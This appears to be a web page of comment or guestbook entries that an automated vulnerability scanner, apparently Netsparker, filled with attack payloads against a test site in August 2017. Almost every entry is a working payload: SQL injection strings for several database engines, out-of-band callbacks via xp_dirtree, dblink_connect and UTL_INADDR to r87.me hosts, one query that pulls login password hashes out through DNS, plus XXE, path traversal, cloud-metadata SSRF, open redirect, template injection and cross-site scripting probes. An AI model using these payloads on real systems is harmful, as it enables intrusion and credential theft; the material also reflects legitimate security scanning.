+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ '> +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:58 AM +

+

+ //r87.com/n/j/?0x003E36 +

+
+

Smith

+

+ 8/23/2017 8:07:57 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:57 AM +

+

+ //r87.com/n/n.css?0x003E34 +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:57 AM +

+

+ http://testsparker.com.r87.com/? +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ testsparker.com.r87.com/? +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ 1 ns=netsparker(0x003E2A) +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ ///r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ '" ns=netsparker(0x003E28) +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ /\r87.com/?testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:54 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ /../../../../../../../../../../boot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ r87.com/?https://testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAzRTI2KTwvc2NyaXB0Pg== +

+
+

Smith

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ %27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x003E24%29%3C%2FscRipt%3E +

+
+

Smith

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ '"--> +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuyoz3ygz7o3fb-fbmgahlo9g02qfwt7'||'o9q.r87.me') from DUAL))||'

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:50 AM +

+

+ r87.com/?http://testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupwyriz8l3hafztwi5bxtvogbklimak'||'jsg.r87.me') from DUAL))||'

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ "+print localtime()*0+0xFFF9999-22+" +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupjxsp5b-tc8mrkphwqyrjbysj9dta6'||'mu4.r87.me') from DUAL))))

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ //r87.com/?http://testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuntiadxvpt2vjilow5dxqk_zgklc92l'||'lga.r87.me') from DUAL))))

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ '+print localtime()*0+0xFFF9999-22+' +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ http://r87.com/?testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:47 AM +

+

+ eval('print localtime()*0+0xFFF9999-22') +

+
+

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu6olwxenayn61zuznzvkpieqw2uxuss'||'zqo.r87.me') from DUAL)

+

+ 8/23/2017 8:07:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:47 AM +

+

+ print localtime()*0+0xFFF9999-22 +

+
+

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu5bux1l7536c7txqvw2vvoxrdqbr4ju'||'dau.r87.me') from DUAL)

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

'||cast((SELECT dblink_connect('host=o010_rdnxuamtijxrh_ua47ll7e6-nc4qrs7wicc'||'wby.r87.me user=a password=a connect_timeout=2')) as numeric)||'

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

'||cast((SELECT dblink_connect('host=o010_rdnxu_0yjiybkjb8gteg5wkotzgoa1zifn1'||'bme.r87.me user=a password=a connect_timeout=2')) as numeric)||'

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

cast((SELECT dblink_connect('host=o010_rdnxuddfqmvhh1jbp6oafwbchqjv2quvajg'||'yru.r87.me user=a password=a connect_timeout=2')) as numeric)

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

cast((SELECT dblink_connect('host=o010_rdnxugpapkhq8ssuvqftyjaxfcqkladiscr'||'mia.r87.me user=a password=a connect_timeout=2')) as numeric)

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ http://r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

dblink_connect('host=o010_rdnxuzkqd2xzqzomqtyhwubjnsm7qrtw41t'||'hmy.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

dblink_connect('host=o010_rdnxuagjvg0f2rhewf39zzrgsd8gd5a9nzl'||'mxi.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:44 AM +

+

+ [php]print(int)0xFFF9999-22;[/php] +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

SELECT dblink_connect('host=o010_rdnxuvwmotchao5p8ee8yqxr8vb08wancnl'||'zrg.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ '{${print(int)0xFFF9999-22}}' +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

SELECT dblink_connect('host=o010_rdnxuet4tsuzg8phsdufx201xezqei3nqw4'||'3gg.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuoor_h9vzkn-hbagxjoylf8jk8jccgw'+'jfq.r87.me')exec sp_executesql @r--

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuaxtltofwd04m-y_ebcgkrjzqufv9ui'+'u58.r87.me')exec sp_executesql @r--

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

1' OR 1=1 OR '1'='1

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:41 AM +

+

+ {php}print(int)0xFFF9999-22;{/php} +

+
+

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

1' OR 1=1 OR '1'='1

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

1 OR X='ss

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

1 OR 17-7=10

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ "+print(int)0xFFF9999-22+" +

+
+

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxulgxbbhzfz4jijkmgflzscjkuwn1wey'+'frc.r87.me')exec sp_executesql @r

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

'+NSFTW+'

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

1' OR 1=1 OR 'ns'='ns

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

1 AND 'NS='ss

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ '+print(int)0xFFF9999-22+' +

+
+

NSFTW

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

NS1NO

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ +print(int)0xFFF9999-22;// +

+
+

'

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

syscolumns WHERE 2>3;exec('xp_dirtree ''\\o010_rdnxuegehvyh4tozikzp_sz8bz3rfje4rmt'+'ffc.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

syscolumns WHERE 2>3;exec('xp_dirtree ''\\o010_rdnxu_rlfsyflnno_jfoftswysywvm7oabo'+'efc.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

1'))exec('xp_dirtree ''\\o010_rdnxujofvccq3wukhi5ijuuezny-tix8gkm'+'4oo.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

1 OR 1=1

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

1 OR 1=1

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

1'))exec('xp_dirtree ''\\o010_rdnxuzqu8zhegczorgqssxr9fnuar6zijoc'+'abu.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ print(int)0xFFF9999-22; +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ print(int)0xFFF9999-22 +

+
+

1))exec('xp_dirtree ''\\o010_rdnxue-9qm_9lazckav4txcnqrsysxmlcg1'+'2wg.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

1))exec('xp_dirtree ''\\o010_rdnxuf_h9io7sqlhhe_ufjklwpf7nybmrs5'+'gti.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

1')exec('xp_dirtree ''\\o010_rdnxuttnsrg-w1x36fpbrxjivg8gq-oy-yf'+'ytq.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

1')exec('xp_dirtree ''\\o010_rdnxuztaizmkuesygeiwmd0jf2tb-4bosqk'+'bmo.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:33 AM +

+

+ <% response.write(268409241-22) %> +

+
+

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

http://127.0.0.1:3306

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

1) exec('xp_dirtree ''\\o010_rdnxutbxadbiay2qpq7l3uzv0r6rszjb69z'+'ycs.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

http://127.100.11.2:22

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

1) exec('xp_dirtree ''\\o010_rdnxujje-z2c0o6sgdxak6qx4bdw7krpxak'+'miq.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:32 AM +

+

+ "+response.write(268409241-22)+" +

+
+

-1';exec('xp_dirtree ''\\o010_rdnxu_binymicgqs0mr_tqmg0etimkpuqf_'+'mag.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

-1';exec('xp_dirtree ''\\o010_rdnxu5rmjmfgrfi3m7sxux-otfnq-okffbz'+'xsc.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:32 AM +

+

+ +response.write(268409241-22)' +

+
+

1;exec('xp_dirtree ''\\o010_rdnxuenm1cug77lkxyh6u3i_kiigtfmjte9'+'u_0.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

http://169.254.169.254/latest/meta-data/public-hostname

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

1;exec('xp_dirtree ''\\o010_rdnxu-wapxz4khslionz7htkft8phjf2y_m'+'r2c.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:31 AM +

+

+ response.write(268409241-22)' +

+
+

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxujddwymlnhrkmm6nr5biw3wlpvsdly7'+'_gw.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

exec('xp_dirtree ''\\o010_rdnxuoa5y4ljmunt4lqrt5a_ihxuxo5lfhe'+'2jc.r87.me'+'\c$\a''')

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

http://aws.r87.me/latest/meta-data/public-hostname

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

127.0.0.1/elmah

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

exec('xp_dirtree ''\\o010_rdnxupofez4lle7uaifb2pjolpqhlhvakwr'+'au0.r87.me'+'\c$\a''')

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

::1/elmah

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

127.100.11.2/elmah

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

54.204.37.212/elmah

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:29 AM +

+

+ http://r87.me/r/?id=o010_rdnxunlqqnb-wh4pfdr6xcbhbs1l7mbdz40kgs +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

%27

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

testsparker.com/elmah

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

http://testsparker.com/elmah

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

127.0.0.1/elmah.axd

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:28 AM +

+

+ //o010_rdnxumzyeg2jmizy9ulgpsrnp3qj7q-92wbphi.r87.me +

+
+

::1/elmah.axd

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

127.100.11.2/elmah.axd

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

54.204.37.212/elmah.axd

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

testsparker.com/elmah.axd

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://testsparker.com/elmah.axd

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ o010_rdnxu6fs205cii4h6twxrrueb6x78mq9mcvhe0.r87.me +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

127.0.0.1/trace.axd

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

::1/trace.axd

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

127.100.11.2/trace.axd

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

54.204.37.212/trace.axd

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

testsparker.com/trace.axd

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

http://r87.me/r/?id=o010_rdnxul9hklnexxypyeyuaiuqs3ia7je9ravkyo

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

http://r87.me/r/?id=o010_rdnxurgpam8tzujbtumegwkkdc6fvw267oylwm

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

http://testsparker.com/trace.axd

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

//o010_rdnxugbohtojdn6hayvvw3i1q1w1-323odja3y.r87.me

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

https://testsparker.com.r87.com/?

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

//o010_rdnxubkktim9opehzsbyouvagdoce2diynegna.r87.me

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

http://testsparker.com.r87.com/?

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

o010_rdnxullmel2s_uzeaetww76tid6qsfrdpkiivi.r87.me

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

testsparker.com.r87.com/?

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

o010_rdnxu2syv-e7387wz5qeblecfvbiz3hnfsmhp4.r87.me

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:21 AM +

+

+ +

+
+

///r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:21 AM +

+

+ +

+
+

/\r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:21 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:21 AM +

+

+ ]>&lfi; +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:20 AM +

+

+ ]>&lfi; +

+
+

r87.com/?https://testsparker.com/

+

+ 8/23/2017 8:07:20 AM +

+

+ +

+
+

r87.com/?http://testsparker.com/

+

+ 8/23/2017 8:07:20 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:20 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:19 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:19 AM +

+

+ +

+
+

http://www.example.com

+

